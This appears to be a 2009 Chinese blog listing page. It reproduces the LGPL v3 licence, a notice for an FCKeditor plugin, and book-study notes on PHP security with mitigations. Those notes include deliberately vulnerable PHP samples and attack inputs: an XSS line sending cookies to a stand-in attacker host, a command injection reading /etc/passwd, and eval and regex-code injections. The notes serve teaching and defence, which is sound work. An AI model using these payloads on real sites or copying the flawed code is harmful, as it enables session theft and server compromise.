龙翔九天-不经三思不求教,不动笔墨不读书
LGPL授权许可证 PDF 打印 E-mail
资讯与思考 - 建站资源
作者:简单   
周四, 2009年 04月 02日 02:34

GNU LESSER GENERAL PUBLIC LICENSE

Version 3, 29 June 2007

Copyright © 2007 Free Software Foundation, Inc. <http://fsf.org/>

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below.

0. Additional Definitions.

As used herein, “this License” refers to version 3 of the GNU Lesser General Public License, and the “GNU GPL” refers to version 3 of the GNU General Public License.

“The Library” refers to a covered work governed by this License, other than an Application or a Combined Work as defined below.

An “Application” is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library.

A “Combined Work” is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the “Linked Version”.

The “Minimal Corresponding Source” for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version.

The “Corresponding Application Code” for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work.

1. Exception to Section 3 of the GNU GPL.

You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL.

2. Conveying Modified Versions.

If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version:

  • a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or
  • b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy.

3. Object Code Incorporating Material from Library Header Files.

The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following:

  • a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License.
  • b) Accompany the object code with a copy of the GNU GPL and this license document.

4. Combined Works.

You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following:

  • a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License.
  • b) Accompany the Combined Work with a copy of the GNU GPL and this license document.
  • c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document.
  • d) Do one of the following:
    • 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.
    • 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version.
  • e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.)

5. Combined Libraries.

You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following:

  • a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License.
  • b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work.

6. Revised Versions of the GNU Lesser General Public License.

The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation.

If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.

 
XSS-跨站脚本攻击 PDF 打印 E-mail
PHP - PHP其它
作者:简单   
周二, 2009年 05月 19日 21:57
XSS是Cross Site Scripting的缩写,意思是跨网站脚本攻击,也有人称为跨网站攻击或是跨网页攻击。为与CSS区别,将缩写改为XSS。
本文是<黑客入侵网页攻防修炼>第三章笔记,来源网址:www.cn09.com,转载时请保留出处
个人认为,XSS可以看作是客户端脚本植入攻击中的一种特殊类型。它利用document.location来获取用户cookie从而模拟用户身份访问网站。
关于客户端脚本植入攻击,请参阅:http://www.cn09.com/php/15-php/17-script-insertion.html 漏洞代码(原书示例太长,自定义exp_400.php):
 
echo $_GET['user'];
 
攻击输入:
 
exp_400.php?user=<script>document.location="http://www.cracker.com/get.php?cookie="%2Bdocument.cookie;</script>
 
其中http://www.cracker.com/get.php是黑客自己的网站程序,该程序截获并记录用户cookie,从而使黑客得以模拟用户身份进行操作。 防范方式,仍然是使用htmlspcialchars函数进行过滤。
LAST_UPDATED2
 
命令注入攻击(command injection) PDF 打印 E-mail
PHP - PHP其它
作者:简单   
周六, 2009年 05月 16日 09:04
命令注入攻击(command injection) 本文是<黑客入侵网页攻防修炼>第二章笔记,来源网址:www.cn09.com,转载时请保留出处

命令注入攻击,就是利用在第一章中提到的5个执行外部命令的函数:system、exec、passthru、shell_exec、"``"进行攻击(参见http://www.cn09.com/php/15-php/13-php.html)。对于大多数使用虚拟主机的网站,这些命令本身就是被禁止执行的,所以不可能受到攻击。普通公网WEB应用,似乎也不会在普通用户的操作中出现这些命令的调用,所以,个人理解,这应该是企业级应用中,内部工作人员对服务器进行攻击时采用这种方式比较具备可行性。

与任何其它的攻击手段相同,只有当输入没有被合理验证时,才会产生这些漏洞。

攻击者本人同时需要具备一定的LINUX/UNIX经验

2.2.1 ex2-5.php:
 
<?php
$dir=$_GET['dir'];
if(isset($dir))
{
  echo "<div>";
  system("ls -al".$dir);
  echo "</div>";
 
黑客可以用以下URI进行注入攻击:
 
ex2-5.php?dir=|cat/etc/passwd
 
从而得到passwd的内容
分析:漏洞产生的原因是$dir没有验证。
例2.2.2 exp2-6.php用exec来代替system命令,原理与2.2.1相同
例2.2.3 exp2-7.php用passthru来代替system命令,原理与2.2.1相同
2.3eval注入攻击 ex2-8.php
 
<?php
$myvar='varname';
if(isset($_GET['arg'])
{
    $arg=$_GET['arg'];
    eval('\$myvar=$arg;');
    echo'\$myvar='.$myvar;
?>
 
黑客可使用下面的URI进行攻击:
 
http://localhost/example/exp2-8.php?arg=system('dir c:');
 
程序会执行system('dir c:');
分析:感觉这种代码不可能在正常应用中出现,应该是木马程序中的一段
exp2-9 通过$_GET改变变量的值
 
<?php
$x='HELLO';
$y=1;
$z=2.5;
foreach($_GET as $key=>$value){
    $$key=$value;
}
echo 'x='.$x.'<br/>';
echo 'y='.$y.'<br/>';
echo 'z='.$z.'<br/>';
?>
 
黑客可以直接在uri中给$x $y $z赋值:
 
http://localhost/example/ex2-9.php?x=123&y=abc&z=100
 
分析:这段代码不但没有验证输入值,连输入的变量名都没有验证过,可以称得上神奇了。但实际工作中,这种情况并非不可见。
2.3.3 ex2-10.php 利用pre_replace函数进行攻击(从略)
2.3.4 ex2-11.php 利用str_replace函数进行攻击
这两个原理相同,都是用输入的值去替换字串,如果没有对输入值进行验证,则有可能被用于执行一些特殊命令,如phpinfo()、system等等
ex2-11.php
 
<?php
    $string='AaBbCcDdEeFfGg';
    $pattern='/^/e';
    echo $preg_replace($pattern,"str_replace('".$_GET['text']."','<i>".$_GET["text"]."</i>',".$string.");",$string);
?>
 
这段代码的本意是把输入字串部分变为斜体:
 
http://localhost/example/ex2-11.php?text=Aa
 
将把字串中的Aa显示为斜体。
但黑客攻击时有可能输入:
 
http://localhost/example/ex2-11.php?text=b','b',phpinfo();//
 
结果函数的参数就成了:
 
str_replace('b','b',phpinfo());//...
 
//后面的代码段都被变成注释文字,直接调用phpinfo显示了服务器信息
分析:phpinfo()已经是比较危险的了,如果用的是system(),后果会不堪设想。
动态函数ex2-12.php:
 
<?php
    $x=5;
    $y=8;
    function A(){
        global $x,$y;
        retun $x+$y;
    }
    function B(){
        global $x,$y;
        return $x-$y;
    }
    if(isset($_GET['func']))
    {
        $myfunc=$_GET['func']);
        echo $myfunc();
        echo "<br/>";
        echo ${"myfunc"}();
    }
?>
 
这段代码的原意是根据输入值选择不同函数,比如输入:
 
http://localhost/example/ex2-12.php?func=A
 
就会显示$x+$y的值13。
但黑客可以这样进行攻击:
 
http://localhost/example/ex2-12.php?func=phpinfo
 
分析:应该先用in_array来验证输入值是否符合规范
call_user_func函数ex2-13.php:
 
<?php
    $x=5;
    $y=8;
    function A(){
        global $x,$y;
        retun $x+$y;
    }
    function B(){
        global $x,$y;
        return $x-$y;
    }
    if(isset($_GET['func']))
    {
        $myfunc=$_GET['func']);
        echo call_user_func($_GET['func']);
    }
?>
 
分析:这段代码与上一例子基本一致。

防范的方法

1、尽量不要执行外部应用程序和命令;
2、使用自定义函数或函数库来替代外部应用程序或命令的功能;
3、使用escapeshellarg函数来处理命令的参数
4、使用safe_mode_exec_dir来指定可执行的文件路径
5、事先列出可以提供给system、eval等函数的参数
LAST_UPDATED2
 
客户端脚本植入攻击script insertion PDF 打印 E-mail
PHP - PHP其它
作者:简单   
周二, 2009年 05月 19日 19:21
所谓客户端脚本植入(Script insertion)攻击,是指将可以执行的脚本插入到表单、图片、动画或超链接文字等对象内。当用户打开这些对象后,黑客所植入的脚本就会被执行,进而开始攻击。
本文是<黑客入侵网页攻防修炼>第二章笔记,来源网址:www.cn09.com,转载时请保留出处
可以被用做脚本植入攻击的HTML标签包括以下五个方面:
1、<script>
2、<object>
3、<embed>
4、<applet>
5、<form>
与命令注入方式不同(参见:http://www.cn09.com/php/15-php/16-command-injection.html),这类攻击直接针对访客,记得97年前后,网通刚进来,拨号上网的时代刚刚结束,网上的聊天室到处有这种漏洞,那时和一帮朋友学了点javascript,就经常以做个死循环打开无数个窗口,让别人电脑死机为乐。所以一开始看这章的标题,以为这种老套的漏洞不会再有。可是看到第50页,才发现自己都有可能会犯下面这个错误:
ex3-4.php
 
<input name="subject" type="text" value=<?php echo strip_tags($row['subject'])> size='60'/>
 
这个范例,如果没有书上的说明,我是一点都没想到会有什么漏洞的了。strip_stags过滤了所有的HTML标签,还能有什么问题呢?
攻击手段:输入
 
v" onmouseover="alert();
 
输入的这行攻击代码,如果被保存到数据库中,那么以后任何人打开这个页面,鼠标指针移动到文本框位置,就会跳出一个alert窗口。由此可见,strip_tags函数不能完全过滤有危险的程序代码。
这个问题的解决方法是过滤引号,只要把引号一起过滤掉,问题就解决了。
书中解决这个问题的方法,是使用htmlspecialchars函数代替strip_tags,这个函数把双引号转换为& quot;
单引号转换成& #039;
<转换成& lt;
>转换成& gt;
&转换为& amp;
在这个例子中,htmlspecialchars同时过滤了HTML标签与引号,解决了上述问题。 如果采用富文本编辑器比如fckeditor,过滤就会是一个伤脑筋的问题,一般情况下,个人建议只允许管理员和可信任的用户使用这类编辑器,或是对不同等级的用户采取过滤SCRIPT标签、过滤远程图片和FLASH等方式进行限制。
LAST_UPDATED2
 
FCKeditor 远程保存图片插件(PHP版) PDF 打印 E-mail
PHP - PHP其它
作者:简单   
周六, 2009年 04月 18日 19:31

名称:FCKeditor 远程保存图片插件(PHP 版)
作者:九天工作室(http://www.cn09.com)
口号:开源不是施舍,而是一种合作方式
下载:http://www.cn09.com/remository.html?func=select&id=2
插件介绍:
在FCKeditor中复制网页内容时,其中的图片仍然保存在源站点上,使用该插件可将这些图片文件保存到站长自己的服务器上。

作为站长,或许,您遇到过下列问题:
1、我想给自己的网站增加一些小功能,但总也找不到合适的--因为很少有程序员愿意开发;
2、我终于找到了一个适合的小插件,却发现它是上世纪九十年代的,始终没有更新过--因为程序员没有更新的动力;
3、插件的功能和我要的总是会有出入,我需要不同的功能--程序员根据自己的需求而不是大众的需求开发插件。
或许,您可以尽自己的一份心力,改变这让人窘困的现状。请点击下面的链接
http://item.taobao.com/auction/item_detail-0db2-dbcac2ccb9810e4ef52ca073becce752.htm
或在http://shop33325042.taobao.com/ 中的站长捐赠类中寻找到该商品,

支付十元或更多捐款,给作者以动力,谢谢了。

ps:店主MM不懂程序,有问题可往http://www.cn09.com留言咨询

最近更新:2009.4.18 v1.02
2009.4.18更新内容:
本插件修改自网上 该E-mail地址已受到防止垃圾邮件机器人的保护,您必须启用浏览器的Java Script才能看到。 发布的同名插件,几经修改,已与原版本迥然不同:
1、在save.php中对文件后缀名进行二次验证,解决了上传图片的安全隐患;
2、修正原代码的BUG,保证了服务器能够一次性顺利转存文件内容;
3、采用FCKeditor的dialog组件显示而不是弹出窗口,使程序更美观;
4、采用时间戳作为文件名(待商榷);
5、config.php文件独立以便于修改;
6、代码大量重写。

使用方法:
1)把解压出的文件夹放到\editor\plugins下
2)修改config.php文件,设置以下两个参数,例如:
  //设置图片保存绝对路径
  $saveFilePath='D:/www/pic';
  //设置显示的链接地址
  $displayUrl='http://localhost/pic';
3)修改fckconfig.js
  1.追加一行内容如下
  FCKConfig.Plugins.Add( 'savehttpfiles');
  2.在编辑器的工具栏上加一个按钮,书写如下
  FCKConfig.ToolbarSets["Default"] =
  ['FitWindow','ShowBlocks','-','About','savehttpfiles']
4)joomla用户
  修改plugins/editors/fckeditor/editor/jtoolbarsetconfig.xml文件
  在你觉得合适的位置插入<plugin name="savehttpfiles" acl="*"/>,如果是完全不懂代码的站长,可以找任意一行<plugin name="随便什么内容" acl="*"/>,在其上或其下插入即可。

LAST_UPDATED2
 
«首页上页1234下页末页»

页 1 总共 4